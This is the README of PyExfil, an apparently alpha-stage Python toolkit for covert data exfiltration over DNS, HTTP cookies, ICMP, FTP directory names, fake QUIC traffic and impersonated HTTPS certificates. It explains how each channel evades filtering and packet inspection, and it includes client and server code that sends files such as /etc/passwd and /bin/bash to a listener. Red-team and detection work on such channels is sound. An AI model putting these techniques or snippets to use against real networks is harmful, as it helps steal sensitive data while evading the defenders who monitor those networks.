PyExfil

Abstract

This started as a PoC project but has later turned into something a bit more. Currently it's an Alpha-Alpha stage package, not yet tested (and will appriciate any feedbacks and commits) designed to show several techniques of data exfiltration is real world scenarios. Currently here are what the package supports and what is allows is:

• DNS query.
• HTTP Cookie.
• ICMP (8).
• NTP requests.
• BGP Open.
• HTTPS Replace Certificate.
• QUIC - No Certificate.
• POP3 Authentication (as password) - Idea thanks to Itzik Kotler
• FTP MKDIR technique - Idea thanks to Itzik Kotler

Package is still not really usable and will provide multiple issues. Please wait for a more reliable version to come along. You can track changes at the official GitHub page. The release of Symantec's Regin research was the initiator of this module. It is inspired by some of the features of Regin. Go read about it :)

Techniques

DNS

This will allow establish of a listener on a DNS server to grab incoming DNS queries. It will then harvest them for files exfiltrated by the client. It does not yet allow simultaneous connections and transfers. DNS packets will look good to most listeners and Wireshark and tcpdump (which are the ones that have been tested) will show normal packet and not a 'malformed packet' or anything like that.

HTTPS Replace certificate

With this method you are configuring an HTTP server to impersonate the certificate. When you exfiltrate data, it will use the original server to exchange certificates with the duplicating server (port forwarding) and then, when this is complete, transmit the data with AES encryption but wraps it up as SSL Application Data as there is no real way of telling this.

Server Setup - String Mode

from pyexfil.HTTPS.https_server import HTTPSExfiltrationServer

server = HTTPSExfiltrationServer(host="127.0.0.1", key="123", port=443, max_connections=5, max_size=8192)
server.startlistening()

Client Setup - String Mode

from pyexfil.HTTPS.https_client import HTTPSExfiltrationClient

client = HTTPSExfiltrationClient(host='127.0.0.1', key="123", port=443, max_size=8192)
client.sendData("ABC")
client.sendData("DEFG")
client.close()

Server Setup - File Mode

from pyexfil.HTTPS.https_server import HTTPSExfiltrationServer

server = HTTPSExfiltrationServer(host="127.0.0.1", key="123", port=443, max_connections=5, max_size=8192, file_mode=True)
server.startlistening()

Client Setup - File Mode

from pyexfil.HTTPS.https_client import HTTPSExfiltrationClient

client = HTTPSExfiltrationClient(host='127.0.0.1', key="123", port=443, max_size=8192)
client.sendFile("/etc/passwd")
client.close()

HTTP Cookie

Exfiltration of files over HTTP protocol but over the Cookies field. The strong advantage of this is that the cookie field is supposed to be random noise to any listener in the middle and therefore is very difficult to filter.

ICMP

Uses ICMP 8 packets (echo request) to add a file payload to it. It reimplemented ICMP ping requests and some sniffers are known to capture it as malformed packets. Wireshark currently displays it as a normal packet.

FTP MKDIR

FTP MKDIR is a technique based on using an FTP server and assuming that the corporate is using an active MiTM to disable file upload. With this in mind, the file is then compressed using zlib and base64 encoded (to be ASCII representable) and then splitted into chunks. Each chunk is then made the name of a directory using MKDIR command (which is not a file upload and should be enabled). It can be used in the following manner:

File Exfil

# Port is by default 21, but can be changed with 'port=2121'
# Credentials are () but can be added with: creds=('user','pass')
# TLS is disabled by default but could be added with tls=True
FTPexf = FTPExfiltrator(server="10.211.55.15", file2exfil="/bin/bash")
FTPexf.get_file_chunks()
FTPexf.build_final_chunks()
FTPexf.send_chunks()

File Reconstruction

# Directory argument can be added with: dir="/home/user/directory"
FTPHand = GetContent()
FTPHand.get_file()

QUIC

In this method, we exfiltrate files over UDP 443 as to look like QUIC. Currently, it is written as first PoC and less as a functional tool. For example, will only work with one file at a time and not concurrent. Vailidy only checks MD5 and not individual packets (server does not request missing chunks from client, which it should). Nevertheless, this seems to work fine in several checks we've done and seems viable exfiltration for single file.

In the future, we should add the things mentioned above. Currently, this does not seem like there is a profiling that can be done on these streams as they appear to be identified by all interceptors as QUIC and unresolvable to the content (while QUIC uses true SSL, this uses AES which still gives a binary blob which is meaningless).

Server

from pyexfil.QUIC.quic_server import HTTPSExfiltrationServer

server = HTTPSExfiltrationServer(host="127.0.0.1", key="123")
server.startlistening()

Client

from pyexfil.QUIC.quic_client import QUICClient

client = QUICClient(host='127.0.0.1', key="123", port=443)      # Setup a server

# This part is just for debugging and printing, no read use
a = struct.unpack('<LL', client.sequence)                       # Get CID used
a = (a[1] << 32) + a[0]
sys.stdout.write("[.]\tExfiltrating with CID: %s.\n" % a)

client.sendFile("/etc/passwd")                                  # Exfil File
client.close()

Future Stuff

Version Alpha

• Check why HTTP Cookie exfiltration keeps failing CRC checks. (Fixed in patch #7 by Sheksa)
• Add NTP exfiltration. (Thanks to barachy for the idea)
• Complete NTP listener.
• BGP Data exfiltration + listener.
• FTP MKDIR Exfiltrator & combiner.

Version Beta

• More QA needed and fast!
• Write a proper Documentation.
• Fix that poorly written setup.py.

Version 1.0

• Enable simultaneous support for all data exfiltration methods.
• Unify all to a single platform.
• Testing for py2exe support.
• Translate module to C Linux.
• Get a damn logo :)

Thanks

Thanks Wireshark for your awesome wiki and tool. Especially packet dumps. Thanks to barachy and AM for ideas on protocols to use.